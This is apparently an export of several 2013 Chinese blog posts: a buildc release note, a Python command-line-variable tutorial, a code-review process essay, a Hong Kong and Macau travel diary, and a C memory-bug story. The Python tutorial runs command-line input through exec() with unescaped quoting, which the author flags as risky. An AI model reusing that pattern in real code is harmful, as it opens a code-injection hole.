[\u0026rsquo;-std=gnu99\u0026rsquo;, \u0026lsquo;-DLOGLEVEL=2\u0026rsquo;, \u0026lsquo;-DUSE_NM\u0026rsquo;]\nelse:\ncustom_defs = [\u0026rsquo;-std=gnu99\u0026rsquo;, \u0026lsquo;-DLOGLEVEL=1\u0026rsquo;, \u0026lsquo;-DUSE_NM\u0026rsquo;]\nprovince这个变量可以定义在buildc.cfg中，但每次针对不同省份Release时，需要手工修改province变量的值，这样 十分麻烦。因此我们想到是否可以让buildc像Make那样支持命令行变量呢，就像这样：\nbuildc config make province=\u0026ldquo;B\u0026rdquo;\n于是乎buildc 0.3.1版本就实现了这个功能，你可以在buildc config make或buildc pack中使用buildc的命令行变量，命令行变量支持var=value形式，其中value支持如下几种值：\nvar=1\nvar=on\nvar=\u0026ldquo;on\u0026rdquo;\n对于var=on，在buildc内部会将var=on转化为var=\u0026ldquo;on\u0026rdquo;，否则python会提示找不到on的定义。\n* 支持指定项目配置文件（buildc.cfg)\n当功能开关变得很多时，我们往往很难记住那么多命令行变量，我们可能就会为每个项目保存多个项目构建的配置文件，比如 buildc_for_liaoning.cfg、buildc_for_beijing.cfg等。而以前的buildc只默认支持 buildc.cfg这样一种配置文件，无法支持这类需求，因此buildc 0.3.1增加了指定项目配置文件功能。\n如果你要为A省客户发布，你可以敲入buildc config make –config=PATH_OF_CONFIG_FILE，buildc就会加载你指定的配置文件了，而不是默认的buildc.cfg。\n","permalink":"https://tonybai.com/2013/07/15/buildc-0-3-1-release/","summary":"\u003cp\u003e随着\u003ca href=\"http://code.google.com/p/buildc\"\u003ebuildc\u003c/a\u003e在内部应用的深入，buildc逐渐进入了以内部需求和问题为主要驱动力的演化模式。我们内部的C应用多是后端服务类应用，个人 觉得具有一定代表性。\u003ca href=\"http://tonybai.com/2011/12/08/buildc-a-building-assistant-tool-for-c-app/\"\u003ebuildc\u003c/a\u003e最初就是为了针对这类C应用而设计的。因此我们内部的需求和问题应该也同样具有一定代表性，而这种演化模式在一 段时间范围内还是有意义的。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://buildc.googlecode.com/files/buildc-0.3.1.tar.gz\"\u003ebuildc 0.3.1版本\u003c/a\u003e修正了上一版本的若干bug，并增加了两个新功能。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e* 提高容错能力\u003c/strong\u003e\u003c/p\u003e","title":"buildc 0.3.1版本发布"},{"content":"我们知道Make工具是支持命令行变量的，这种手段为我们提供了很好的灵活性，我们可以通过敲入不同的命令行参数来决定Makefile脚本的行为。\nmake [variable1=value1 variable2=value2 \u0026hellip; \u0026hellip; ]。\n# Makefile\nCMODE = 64-bit\nifeq ($(CMODE), 64-bit)\nCFLAGS += -m64\nendif\nall:\ngcc $(CFLAGS) -o foo foo.c\n$\u0026gt; make\ngcc -m64 -o foo foo.c\n$\u0026gt; make CMODE=32-bit\ngcc -o foo foo.c\n近期我们的一个Python脚本工具也有类似的需求了，但Python脚本原生并不支持这种命令行变量，我们来看看是否可以利用Python提供的机制实现一种可以满足我们需求的命令行变量。\n我们的期望结果如下：\n$\u0026gt; foo.py fruit=apple\n# foo.py\nflag = \u0026rsquo;\u0026rsquo; #这个定义可以有，也可以没有，如果有，可以理解为默认值\n….\nif flag == \u0026lsquo;apple\u0026rsquo;:\n….\nelif flag == \u0026lsquo;orange\u0026rsquo;:\n….\nelif flag == \u0026lsquo;banana\u0026rsquo;:\n….\nelse:\n….\nPython是动态语言，提供了注入eval、exec等在运行时执行代码的能力。我们要实现命令行变量的机制，离不开这些能力的支持。eval用于求值表达式，而x=y是语句，我们只能用exec。\n【#1】\nimport sys\nif __name__ == \u0026lsquo;__main__\u0026rsquo;:\nc = len(sys.argv)\nif c \u0026lt;= 1:\nprint \u0026ldquo;found zero command variable\u0026rdquo;\nexit(0)\nexec(sys.argv[1])\nif fruit == \u0026lsquo;apple\u0026rsquo;:\nprint \u0026rsquo;this is apple\u0026rsquo;\nelif fruit == \u0026lsquo;oracle\u0026rsquo;:\nprint \u0026rsquo;this is orange\u0026rsquo;\nelif fruit == \u0026lsquo;banana\u0026rsquo;:\nprint \u0026rsquo;this is banana\u0026rsquo;\nelse:\nprint \u0026lsquo;other fruit\u0026rsquo;\n$\u0026gt; foo.py fruit=apple\nTraceback (most recent call last):\nFile \u0026ldquo;./foo.py\u0026rdquo;, line 18, in exec(sys.argv[1])\nFile \u0026ldquo;\u0026rdquo;, line 1, in NameError: name \u0026lsquo;apple\u0026rsquo; is not defined\n上面的例子执行后，提示\u0026rsquo;apple\u0026rsquo;没有定义。执行foo.py fruit=\u0026ldquo;apple\u0026quot;得到的也是同样的错误。从内部输出来看，无论是fruit=apple还是fruit=\u0026ldquo;apple\u0026rdquo;，exec的参数始终都 是fruit=apple，导致exec抱怨apple这个符号没有定义。\n我们打开一个Python命令行交互窗口，做如下测试：\n$\u0026gt; python\nPython 2.7.3 (default, Aug 1 2012, 05:14:39)\n[GCC 4.6.3] on linux2\nType \u0026ldquo;help\u0026rdquo;, \u0026ldquo;copyright\u0026rdquo;, \u0026ldquo;credits\u0026rdquo; or \u0026ldquo;license\u0026rdquo; for more information.\n\u0026gt;\u0026raquo; exec(\u0026ldquo;fruit=apple\u0026rdquo;)\nTraceback (most recent call last):\nFile \u0026ldquo;\u0026rdquo;, line 1, in File \u0026ldquo;\u0026rdquo;, line 1, in NameError: name \u0026lsquo;apple\u0026rsquo; is not defined\n\u0026gt;\u0026raquo; exec(\u0026ldquo;fruit=\u0026lsquo;apple\u0026rsquo;\u0026rdquo;)\n\u0026gt;\u0026raquo; fruit\n\u0026lsquo;apple\u0026rsquo;\n\u0026gt;\u0026raquo; exec(\u0026ldquo;num=1\u0026rdquo;)\n\u0026gt;\u0026raquo; num\n1\n通过这个小实验可以看出，我们不能将命令行参数直接原封不动的传给exec，我们要对其进行一下加工，加工的效果如下：\nfruit=apple =\u0026gt; fruit=\u0026lsquo;apple\u0026rsquo;\nnum=1 =\u0026gt; num=1\n【2】\nimport sys\ndef __convert(source):\n(var, sep, val) = source.partition(\u0026quot;=\u0026rdquo;)\nif val.isdigit():\nreturn source\nreturn var + \u0026ldquo;=\u0026rdquo; + \u0026ldquo;\\\u0026rsquo;\u0026rdquo; + val + \u0026ldquo;\\\u0026rsquo;\u0026rdquo;\nif __name__ == \u0026lsquo;__main__\u0026rsquo;:\nc = len(sys.argv)\nif c \u0026lt;= 1:\nprint \u0026ldquo;found zero command variable\u0026rdquo;\nexit(0)\nexec( __convert(sys.argv[1]))\nif fruit == \u0026lsquo;apple\u0026rsquo;:\nprint \u0026rsquo;this is apple\u0026rsquo;\nelif fruit == \u0026lsquo;orange\u0026rsquo;:\nprint \u0026rsquo;this is orange\u0026rsquo;\nelif fruit == \u0026lsquo;banana\u0026rsquo;:\nprint \u0026rsquo;this is banana\u0026rsquo;\nelse:\nprint \u0026lsquo;other fruit\u0026rsquo;\n__convert函数对命令行的参数做了转换，对于数值类的var直接原封不动的返回，否则对于值为字符串的var，将其val用\u0026rsquo;\u0026lsquo;包裹起来后返回。我们来测试一下新程序：\n$\u0026gt; foo.py fruit=apple\nthis is apple\n$\u0026gt; foo.py fruit=orange\nthis is orange\n$\u0026gt; foo.py fruit=watermelon\nother fruit\n从输出结果来看，我们的预期是达到了^_^。上面的程序只是示例性质的，Python的exec具有运行时执行动态代码的能力，我们在获得这种强大能力的 同时，也面临着巨大的风险。一旦恶意代码从外部传入被exec执行，将带来严重的后果。因此对于exec要执行的代码务必要预先进行必要的形式校验。\n","permalink":"https://tonybai.com/2013/07/09/an-implementation-of-python-commandline-variables/","summary":"\u003cp\u003e我们知道Make工具是支持\u003ca href=\"http://tonybai.com/2011/05/19/use-command-line-vars-of-make/\"\u003e命令行变量\u003c/a\u003e的，这种手段为我们提供了很好的灵活性，我们可以通过敲入不同的命令行参数来决定Makefile脚本的行为。\u003c/p\u003e\n\u003cp\u003emake [variable1=value1 variable2=value2 \u0026hellip; \u0026hellip; ]。\u003c/p\u003e\n\u003ch1\u003e\u003c/h1\u003e\n\u003cp\u003e# Makefile\u003c/p\u003e\n\u003ch1\u003e\u003c/h1\u003e\n\u003cp\u003eCMODE = 64-bit\u003c/p\u003e\n\u003cp\u003eifeq ($(CMODE), 64-bit)\u003cbr\u003e\n    CFLAGS += -m64\u003cbr\u003e\nendif\u003c/p\u003e\n\u003cp\u003eall:\u003cbr\u003e\n    gcc $(CFLAGS) -o foo foo.c\u003c/p\u003e\n\u003cp\u003e$\u0026gt; make\u003cbr\u003e\ngcc -m64 -o foo foo.c\u003c/p\u003e\n\u003cp\u003e$\u0026gt; make CMODE=32-bit\u003cbr\u003e\ngcc -o foo foo.c\u003c/p\u003e\n\u003cp\u003e近期我们的一个Python脚本工具也有类似的需求了，但Python脚本原生并不支持这种命令行变量，我们来看看是否可以利用Python提供的机制实现一种可以满足我们需求的命令行变量。\u003c/p\u003e","title":"Python脚本命令行变量的实现"},{"content":"事实证明：有效的代码评审(Code Review，也有叫代码审查的），对保证代码质量具有十分重要的作用。因此这两年来我一直尝试着在这块不断改进和完善，以期望能形成一套合理、规范、有 效且高效的代码评审流程，这包括引入在线代码评审系统、走查和在线评审结合、规范评审Request的规模与有效性、设立评审专员等，用心不可谓不良苦 ^_^。大家也的确形成了及时提交Code Review Request或组织进行代码走查的良好习惯。不过我还是发现了一些问题。\n* 有些组（我对其影响力不足的^_^）依旧没有严格执行代码评审环节，代码屡屡出现低级错误；\n* 走查形式的会议评审缺乏全面性，效果好坏与参与者的“状态”直接相关；\n* 在线评审环节缺乏“责任制”，常出现的一种情况是：请求大家评审，结果可能却是大家都没有评审。出现\u0026quot;Request Review Miss\u0026quot;的现象。\n这让我陷入思考：长期以来我们在代码评审这块过于依赖人的自觉性，理想地认为每个人都能认识到代码评审的重要性，并认真地执行代码评审的流程或充满激情地 参与到其他人发起的代码评审过程中去，但结果事与愿违。这就像党员如何保持纯洁性一样，如果仅仅依靠个人道德/职业水平约束，这事往往是不成的。事实证明 人治在中国社会是会造成各种社会问题的。我们的代码评审环节也是一样，我们不能再期望所有人都能和我站在一条认知和激情水平线上，于是我打算尝试向“法 治”过渡。\n\u0026ldquo;法\u0026rdquo;，规则制度也，是团队一致认同的可以提升产品质量的规则制度。以此为前提，我要做的就是设立“检查和预防”机构，即以很低的Cost，检查大家是否按“法”完成了代码评审环节，提醒大家要按“法”进行。我采取了几个措施：\n【规范Commit Log 】\n这是一个前提工作。实现规范的Commit Log便于后续的检查和监督，同时细化规范的Commit Log信息对代码维护是大有裨益的。在Commit Log中还增加了一些关联信息，方便维护者了解该Commit的背景。初期的模板是这么来确定的：\n模板结构：\nTITLE\nBODY\nRELATIONSHIPS\n展开后如下：\n[Category] Title content\nBody content\n[BUGID] QC#733 | JIRA#766\n[REVIEWID] RB#767\n[REVIEWED BY] xx, yy, zz\n[SIGNOFF BY] xx\nTITLE Category：\n– BUGFIX 代码修复\n– FEATURE 新功能特性添加\n– TASK 诸如代码美化、调整版本号等\n– URGENT 紧急提交，对此类commit，可不做review和拦截\nBODY Content：\n有关此次修改的详细信息说明\nRELATIONSHIPS：\n– [BUGID] 一般用Bug跟踪系统的ID号\n– [REVIEWID] reviewboard上的ID号\n– [REVIEWED BY] xx, yy, zz\n– [SIGNOFF BY] xx\n【\u0026ldquo;全覆盖\u0026quot;原则】\n所有变更代码都要发起在线“Code Review Request”，即便是会议走查的代码，会后也要补提“Review Request”。\n【“低保”原则】\n每个Review Request至少选择两名评审负责人，填到\u0026quot;Request\u0026quot;中，这两个人必须对此Request给出评审意见，这是一个评审的最低保障了，这总比没有人评审要好。当然了其他人也都可以参与评审。只有这两名评审负责人明确提交\u0026quot;ship it\u0026rdquo; Comment后，该代码才算是通过评审。\n【关键路径拦截】\n\u0026ldquo;对不起，若不符合规定，你的工作将无法进行下去\u0026rdquo;。有了统一的Commit Log模板，我们就可以对大家的代码Commit环节做检查和拦截了。如果代码没有进行评审，无法填写模板中的字段内容，那代码将无法提交到代码库中。如 果虚构Commit log内容，这将是极大的错误，在抽查中一旦发现，后果将是很严重的^_^。\n当然这一过程中还有很多细节需要考虑，比如Reviewer的选择不能集中在一个人身上，否则会造成热点；再比如紧急提交代码应该如何处理等等。“法治” 是与一定的“国情”相匹配的，并不是所有的组织都需要进行这么严格且略有死板“法治”手段，依团队内组员的专业能力和认知水平而定。\n有些公司开发了自己的统一开发平台，将一系列流程都在一套系统中规范了起来，这当然是更好的“法治”了。但在没有这样的平台的前提下，初步使用上述的几个手段，还是会收获一些改进的。\n","permalink":"https://tonybai.com/2013/07/08/code-review-from-rule-of-man-to-rule-of-law/","summary":"\u003cp\u003e事实证明：有效的\u003ca href=\"http://tonybai.com/2011/02/22/code-reviews/\"\u003e代码评审\u003c/a\u003e(Code Review，也有叫代码审查的），对保证代码质量具有十分重要的作用。因此这两年来我一直尝试着在这块不断改进和完善，以期望能形成一套合理、规范、有 效且高效的代码评审流程，这包括引入\u003ca href=\"http://tonybai.com/2010/12/18/thoughts-on-online-coding-review/\"\u003e在线代码评审系统\u003c/a\u003e、走查和在线评审结合、规范评审Request的规模与有效性、设立评审专员等，用心不可谓不良苦 ^_^。大家也的确形成了及时提交Code Review Request或组织进行代码走查的良好习惯。不过我还是发现了一些问题。\u003c/p\u003e","title":"代码评审，由人治过渡到“法治”"},{"content":"我来也匆匆，去也匆匆。\n— 某歌词\n记忆中和LP一起出去旅行的次数少的可怜，上一次还是在结婚蜜月时，去的是九寨。二人一起出游是很美妙的，印象也是深刻的，至今当时在九寨的情形 还能历历在目。于是年初就和LP定下了今年的一个家庭目标：一起出去玩一次。\n不过真正要确定何时以及去哪出游还是很困难的，毕竟工作上的事情和照顾孩子的事情要安排妥当才行。上月中旬LP接到通知：端午前要到公司总部（广 州）接受培训，机会终于来了 – 都到了广州，怎能不去港澳呢！于是我们决定趁此机会去香港澳门玩一通，还能省下来一个人的路费^_^。LP以前是去过一次香港的，像迪斯尼、海洋公园、黄 大仙等景点LP都是游览过的，因此这次LP去香港以消费为主，我尾随并保驾护航。另外我们在是否带果果去这个问题上也纠结了一段时间，最后决定这 次就不带孩子去了。一方面孩子太小，带出去总是不那么放心，那边天气也热，怕她生病；另一方面这次以逛街为主，带孩子十分不便，孩子累，大人也 累。\n行程确定\n出游第一步：确定行程，否则没法订机票和酒店。和LP商议后，最终确定的行程：\n6.9 广州自由行\n6.10 入港，购物\n6.11 香港，购物\n6.12 从香港入澳门，逛景点，买点纪念品，晚上通过珠海拱北口岸回大陆，连夜回到广州，入住酒店\n6.13 飞回沈阳\n各种****准备\nLP两年前和同事结伴去过一次HongKong，但以景点旅游为主，对香港购物区了解甚少，因此这次出发前我们还是要做好充分的准备。\n– 订香港酒店。由于到港时恰逢端午假日，因此酒店的价格也是水涨船高，多亏我们提前近20天就预订了（LP在淘宝订的），这才勉强订到价格还算合理，且位置 和质量都属上乘的 – 郎豪酒店（Langham Place Hotel)，郎豪酒店离九龙旺角地铁站出口很近，酒店下面就是香港的一个购物中心郎豪坊，酒店是五星级的，一天700RMB，感觉超值。\n– 订往返机票。由于LP只能从广州出发，因此只能订到广州的往返。6月恰逢广交会刚结束，机票折扣较大，因此往返定的都是2.5-3折左右的机票，已经是相 当的划算了。来回算上机场建设费、燃油费才不到1600。\n– 预订广州酒店。我和LP在广州要住上2宿，在网上找了很长时间，发现7天连锁今年有新会员“77元”自主大床房的体验活动，这个价格太合适了。于是和LP 每人注册了一个ID，在7天的广州动物园2分店预订了两天住宿（其他分店要么太远，要么就是客满，无法预订，便宜也有便宜的不足之处）。\n– 买广九直通车车票。坐大巴入港太慢，口岸等的时间也较长，因此我和LP决定坐火车进港。唯一的选择就是广九直通车，最早的一列是8点17左右的，到香港也 就10点多，很舒服方便，就是价格有些小贵，大概是坐Bus的两倍。这个票在12306.cn上是无法订到的，只能在窗口买，或在淘宝上找代理购 买。\n– 买拱北回广州的车票。从拱北回广州的Bus很多，Taobao上有很多代理提供车票服务。\n– 手机卡。这次没有购买香港当地的手机卡，由于客户级别已经在8级以上，开通国际漫游也无需押金，我就直接开通了国际漫游服务。\n– 选择目标购物区。香港的购物区有很多，我们在港也就待两个整天，因此我们需要确定每天的目标购物区。由于住在郎豪坊，因此我们第一天打算就在郎豪坊周围 逛。第二天去著名的海港城周围。\n– 各种打折卡和会员号。自从确定了要去香港，就一直在十六番论坛上潜水，搜罗一堆不知道是否好用的会员卡号，打印出来备用。\n蒸笼上的广州\n第一次去广州，也第一次感受到了广州的湿热，在大街上背个包走两步就浑身透汗。不识趣的我居然还跑到了越秀公园给五羊雕塑拍照，没想到越秀公园不 是“平原”，雕塑居然在小山上，这让我终于体会到什么叫汗流狭背了，一整包面巾纸都用来擦汗了。就这样走走歇歇，也算把越秀的主要景点逛了个遍。 越秀公园南门是中山纪念堂，我也顺便串了个门，给孙大总统的铜像拍了几张照片。广州的热还体现在即便是进入夜幕，热度依然不减。乘地铁回到住处， 不将空调开得凉凉的是无法入睡的。但考虑到不习惯开着空调睡觉，于是就开开关关，一宿也没咋睡好。\n除了热之外，我对广州这座城市的印象还是蛮不错的。和大多数发展中的北方城市不同，广州人民，至少核心城区的人们已经开始享受发展后的成果了，尤 其是2010亚运会后的成果了 – 宽阔完好的道路、四通八达的交通系统、良好的绿化、鲜见灰尘的空气、发达的商业环境、先进的城市管理以及城区中数量众多的公园，这些至少比到处是工地、到 处修路、到处扬尘的沈阳要先进五年以上。没有尘土，马路上的车都是干净的，就算下雨也是没有泥的。\n广州的吃食我还算是适应，云吞、肠粉、牛河、炒饭量足，价格也不是很贵，至少比北京是要便宜一些的。我没有特意去广州什么老字号或特色美食去体 验，我就是走到哪里吃到哪里。南方的甜品和汤我不是很感兴趣，所以也没有去体验。天河又一城下面的风行牛奶的西米露倒是买了一杯，感觉很是一般。\n习惯了每到一地就去当地的博物馆看看，这次也不例外。广东省博物馆就在珠江北岸，离海心沙亚运公园很近，遥望南岸的广州地标 – 广州塔。博物馆是免费的，但门票最好提前一天预约。不过我去的那天人不是很多，不预约直接领票也很快。与LP一起逛博物馆只能走马观花了，那天博物馆的临 时展览包括“晋国遗珍——山西出土周代文物”、“金枝玉叶——明代江西藩王墓出土玉器精品展”、“静木清缘——金丝楠薄浮雕艺术展”，常设的展览 有：广东省自然资源展览、漆木精华——潮州木雕艺术展览等。个人十分喜欢“广东省自然资源展览”，里面展出了许多矿产、宝石等原始形态，十分开眼 界。\n入港\n10号早上和LP很从容的从酒店退房出来，坐地铁3站地到达广州东站，准备乘坐广九直通车入香港。直通车提前45分钟剪票，去香港的旅客（绝大多 数都是，应该没有人坐这趟车去东莞）要进行出境检查。直通车的车厢是类动车一等座席那种，但车头应该是普通的那种电力机车车头。车开的速度并不 快，尤其是通过深圳罗湖铁路口岸时车基本是龟速通过。过到香港这边后，火车与香港东铁线似乎走的是一条路线，只是沿路的车站不停罢了，直到到达香 港九龙红勘站。入境手续办理也不算慢，排一会就过去了。接下来要做的第一件事就是购买八达通卡，在香港没有八达通真是寸步难行啊。150港币一 张，离港前可退掉，但我和LP商量了，这次就不退票了，后续还会有很多机会来香港的，到时候只要重新激活一下八达通就可以使用了。\n按照之前查找的路线，我们坐东铁线去旺角东站。坐了香港地铁才知道，香港地铁有些是地面上跑的轻铁，和普通火车没啥区别。出了旺角东站，我们就彻 底迷路了：分不清东南西北，周围是熙熙壤壤的人群，马路上穿梭着双层巴士，香港路牌还不是很适应。找人问路，问了几个居然还都是大陆游客。最后问 到一个本地人，告诉了我们去郎豪酒店的方向。我们就顺着走，感觉不对就再问，就这样误打误撞，还真的到了郎豪酒店对面。原来这里离旺角站更近，楼 下是一个H\u0026amp;M店，对面是西武百货，旁边有家翠华餐厅，似乎到了饭点，门口排着等位的人，估计都是慕名而来的大陆游客。\n酒店一层有个很小的服务台，站着一位老外，估计是英国人。我们和他咨询如何check in，他似乎中文不是很地道，就用手比划出“八”的姿势，嘴里说什么\u0026quot;爱露\u0026quot;，我们一直以为是到第8层办理check in手续，直到他送我们进电梯，我们才理解是到\u0026quot;L\u0026quot;层办理手续 – 电梯的按钮上明显标明了L – 酒店大堂。由于到的还早，酒店尚无房间，我们将行李做好寄存，就下楼开始逛香港。\n消费天堂\n郎豪酒店楼下就是郎豪坊，不过郎豪坊显然比较高档，很多店铺折扣都不大。我们估计不会在这里购物，于是下楼沿街逛。离郎豪坊不远处就是香港的一条 购物大道 – 弥敦道。在香港想辨别大路还是小道，就看路上双层Bus多少即可。郎豪酒店在弥敦道西侧，弥敦道东侧有通菜街（也就是著名的女人街）、奶路臣街等，这些街 道两侧林立着各类商铺，服装、化妆品、数码、珠宝、手表应有尽有，有些类似国内的步行街，但每个商铺面积都不大。这些街就是我和LP香港逛街的起 点了。\n在香港逛街与在内地商场、专卖店逛街也没啥区别。并且在接待过多年大陆游客后，香港的各类店铺的服务员应对操持着普通话的大陆游客都是毫无问题 的。不过我还是总结了一些在香港逛街的几大特点：\n– 店铺冷气足\n香港店铺里的冷气不是一般的足，是足让你感觉到寒冷。游客一般都是短袖裤衩，但店员们都是衬衫西装，估计他们十分了解他们所处的温度环境。\n– 服务意识好\n多数店铺里的服务员服务的意识还是很不错的，不知道是否仅针对大陆游客^_^。据说香港本地人去买珠宝，一般都被要求“等会儿”。\n– 关联推销多\n我买了台ipad mimi，店员并不着急结帐，而是向你推销其他产品，比如外壳、贴膜；甚至是将你带到其他柜台，推销与ipad mini毫不相干的产品，比如剃须刀，这是我在百老汇亲历到的。在Nike/Adidas打折店买双运动鞋，她们也会不遗馀力的向你推销100元5双的运 动袜。\n– 珠宝行烂大街，以周大福为甚\n香港珠宝首饰店那叫一个多。以弥敦道为例，沿路两侧，五步一个周大福，十步一个周生生，再迈一步就是一个六福或谢瑞麟，丝毫不夸张。这里面还是以周大福的 店最为多，人气似乎也最旺。\n– 化妆品店林立\n由于免稅等原因，香港的化妆品的确多，而且种类丰富，从小样到套装应有尽有。卓悦、莎莎是香港最著名的化妆品零售店，而且满大街都是，十分方便。\n– 吃，一个也不能少\n网上谈的最多的就是翠华，也许是被大陆客炒起来的原因。我和LP在下午回酒店前去了一趟翠华餐厅，那时候人刚刚减少，排了2分钟就有了座位。点了咖喱牛腩 饭、番茄猪排饭，味道也就那么回事，没啥特殊的地方，价格“不菲”，一共117港币。\n反倒是香港的KFC和麦记相比翠华要便宜许多，我俩没少吃。像许留山这样的甜品店，就类似以前大陆“街客”那种地位。\n– 数码电器价格优势缩小\n除了apple系列产品，其他的数码产品在价格上比大陆优势不大，有些甚至比大陆的店还要贵，比如单反相机。佳能650D和700D在百老汇、丰泽和香港 苏宁的报价都比大陆要高出一些，遂放弃之。\n下午三点左右，我们打算回酒店休息一下。行李已经被直接放到房间内了，这服务估计只有五星酒店才能享受到。酒店的房间比预象的要好上很多。房间设 计新颖，设备也很新，卫生间有个大浴缸，有电视声音输出，可以边泡澡边收看电视。各种商务设备我们都不是很了解，中央空调太冷，最高温度只能调到 26度，于是关之（触摸液晶屏的），总体感觉一宿700rmb还是值得的，毕竟这是HongKong。\n休息后，继续逛街。这次沿着弥敦道一直向南逛，一路路过油麻地、九龙政府合署、佐敦、柏丽购物大道、尖沙嘴；调头逛了一下加连威老道，然后往回 走。当然这期间LP采购了好多东东，这里就不细数了。回到旺角时已经半夜11点多了，感觉好累。到KFC（24小时店）吃了一顿夜宵，回酒店休 息。\n彻游海港城\n11号早晨从CNN得知神十已经成功上天，甚感高兴，心情自然也不错。今天我们的目的地是海港城。之前就听说海港城巨大无比，一天都逛不完，于是乎早些起 来，整理物品，做出发准备。到海港城可以乘地铁，也可以坐双层Bus，我们选择体验后者 – 在弥敦道乘坐281/A路公交到中港城下车。香港的Bus都是比较舒适的，上下层都是软座，不像国内Bus那样拥挤（国情使然）。香港道路虽然不宽，但由 于大家基本遵守交通规则，所以路上的车开的都是飞快的。不过感觉随着大陆游客的增多，“中国式”过马路的现象在香港也越来越多了。\n中港城在海港城的北侧，楼上是登船的闸口，楼下则是折扣店，虽然面积不大。由于到的比较早，就在中港城解决了早餐，并顺便到楼上打听一下第二天乘船到澳门 的事宜。多亏提前打听了一下，原来船票是有限的，我们打听的时候，第二天的船票都已经基本没了，于是赶紧用之前从taobao买到的换票券换了两张第二天 中午11点的到澳门的船票。\n海港城是由多个商场组成的联体建筑，因此显得格外庞大，进去后都不知道该如何逛，即便拿到了导游图依旧比较懵。还好经过几轮服务人员的指点，终于“找到了 北”。海港城里面的商品也不甚便宜，折扣也没有想象中的大，当然这和我们的钱包有限还是有关系的^_^。海港城二层的露台是个理想的观看海景的地方，远眺 远处就是铜锣湾、上环一带的密集楼宇，还有海上穿梭往来的各种TurboJet，很是漂亮。\n逛完海港城内部的时候已经是下午5点多了。出了海港城才发现外面有好多顶级品牌专卖店，比如LV、Gucci，店外居然真的有人在排队等待入店。我们不会在这些店里购物，也就看看热闹罢了。\n坐TurboJet去澳门\n12号早晨，小雨。飞航是11点钟的，我们的时间还是很充裕的，不过心里有事，起的也就早。和LP商量一下，可以早些到中港城，有时间顺便逛下下面的大奥 莱。在中港城解决掉早餐后，向服务人员打探一下在哪里登船。服务人员说10点那班船可能还有空位，可以试试。我们一想早点到澳门也不错。于是就搭上了10 点那趟飞航的“末班车”。喷射飞航里面的情况要比我想象中的豪华，座位也都是软包的，类似飞机上的那种，空间也相对宽敞。TurboJet启动后，颠簸也 不甚明显，没有明显的晕船迹象。外面一直下着小雨，但浪不大，船因此运行的也比较平稳。坐TurboJet喷射飞航一个小时左右就到达了澳门外港客运码 头。\n澳门是一个以赌场、旅游为主的旅游城市，入境后从关口出来，外面到处是各家酒店和赌场的免费摆渡车。我们之前就计划好在澳门本岛逛， 氹仔岛就不去了。于是我们乘坐了新葡京的小巴，一路不到10分钟就到了新葡京。下车后第一件事就是将行李寄存在赌场的寄存处。寄存后，到楼上欣赏各类的赌 博游戏。由于LP不是很喜欢这些，转了两圈我们就离开了葡京。\n澳门真的不大，从葡京出来沿着“新马路”向西北走，到民政总属大楼后，向右侧的山上走即可到达澳门著名的大三巴牌坊、玫瑰堂、圆炮台等景点。毫无疑问，大 三巴牌坊经典前聚集的游客是最多的。但我个人感觉澳门的教堂是很值得看的，比如说玫瑰圣母堂，不妨进去坐上一小会，体会一下不同宗教信仰的气氛。大三巴牌 坊周围已然成了商业步行街，街道两侧林立着各类店铺，数量最多，人气最旺的莫过于“钜记手信”了，到澳门的游客估计都会从那里买回小食品作为纪念带回国内 的。另外著名的澳门葡式蛋挞也的确名不虚传，味道甚好。澳门元与港币是可以1:1使用的，估计未来一段时间后，澳门元很可能会退出历史舞台。\n连续走了多天，我和LP都十分疲劳了，澳门的其他景点实在是逛不动了，于是早早回到葡京取行李，准备回拱北关闸。葡京有免费的摆渡车，但那天等车的人巨多。担心拱北入境人多、过程缓慢，我和LP遂打了一辆Taxi前往拱北，花了50港币，真够贵的。\n拱北口岸的人居然并不是特别多，排了一会儿就顺利通关了，而且也没人对我们的包裹进行检查，我们的心也就放下了。\n旅行社的车是晚上19:30的，我们等了一个多点，终于登上了回广州的巴士。一路无话，晚上9：30回到广州杨箕地铁站附近，又倒了趟地铁回到动物园的7天连锁。这次的港澳之行算是结束了。\n总结\n短暂的旅行不足以让我充分认识和体会到当地的风土人情、风俗习惯等，因此说道起来不是那么深刻，遂仅以流水账的方式细致记之，以备忘。\n","permalink":"https://tonybai.com/2013/06/18/a-hongkong-macau-trip/","summary":"\u003cp\u003e\u003cem\u003e我来也匆匆，去也匆匆。\u003c/em\u003e\u003cbr\u003e\n                                    \u003cem\u003e— 某歌词\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e记忆中和LP一起出去旅行的次数少的可怜，上一次还是在结婚蜜月时，去的是\u003ca href=\"http://tonybai.com/2009/06/24/the-tour-of-jiuzhaigou/\"\u003e九寨\u003c/a\u003e。二人一起出游是很美妙的，印象也是深刻的，至今当时在九寨的情形 还能历历在目。于是年初就和LP定下了今年的一个家庭目标：一起出去玩一次。\u003c/p\u003e","title":"港澳行记"},{"content":"如果你看到一个C程序员在通宵熬夜神情紧张地对着电脑敲代码或阅读代码，多数只有两种可能：一是为了赶进度；二就是查找内存Bug。\n— 个人感悟\n昨晚搞到凌晨一点多，终于算是把一个棘手的Bug的来龙去脉搞清楚了。截至到今天，这个Bug已经困扰了项目组两个核心开发同事达三周之久了。\n这个Bug的确很难查找：\n– 首先模拟环境下无法复现该Bug；\n– 生产环境下该Bug是随机出现的，发生频率十分低；\n– Bug出现时并未有dump core等明显异常现象出现，系统依旧运行良好。\n得到Bug报告后，我的两位同事就开始对bug引发的问题现象进行了分析，得出了内存被污染的初步结论。之后又在生产环境做了GDB attach到进程的调试，甚至替换了生产环境的版本，利用传统的print语句在关键路径上输出提示信息，试图找到引发Bug的真正原因。但做过这些 后，所能得到的结论依旧停留在内存被污染，至于怎么被污染的、在哪个业务流程上被污染的却无从得知。无奈之下，两位同事开始根据 subversion的commit history进行代码比对和分析，试图查找到哪些新增或修改的代码引发了Bug。代码修改量小还好，如果修改数量巨大，这种代码比对就好比大海捞针，我 们无法保证注意力自始自终是集中的，结果两位同事也的确没有从代码变更中发现什么蛛丝马迹。这类Bug会让你有一种有力无处施展的感觉，面对这样 的Bug，我的两位开发人员似乎也失去了信心和思路。\n下面简要描述一下这个Bug：\n有这样一个字段数目众多的结构体foo_t，这里仅列出bug相关的几个字段e、c、flag、pdata：\nstruct foo_t {\n… …\nchar e[XX_SIZE];\nchar c[XX_SIZE];\nchar flag;\ndata_t *pdata;\n… …\n}；\n业务逻辑是：\nif (flag) {\n处理e、c两个字段；\n}\nbug现象：值本是1的flag字段被污染，值变成了0，导致e、c两个字段没有被做处理，从而引发业务异常，导致客户投诉。我的同事曾经做过如 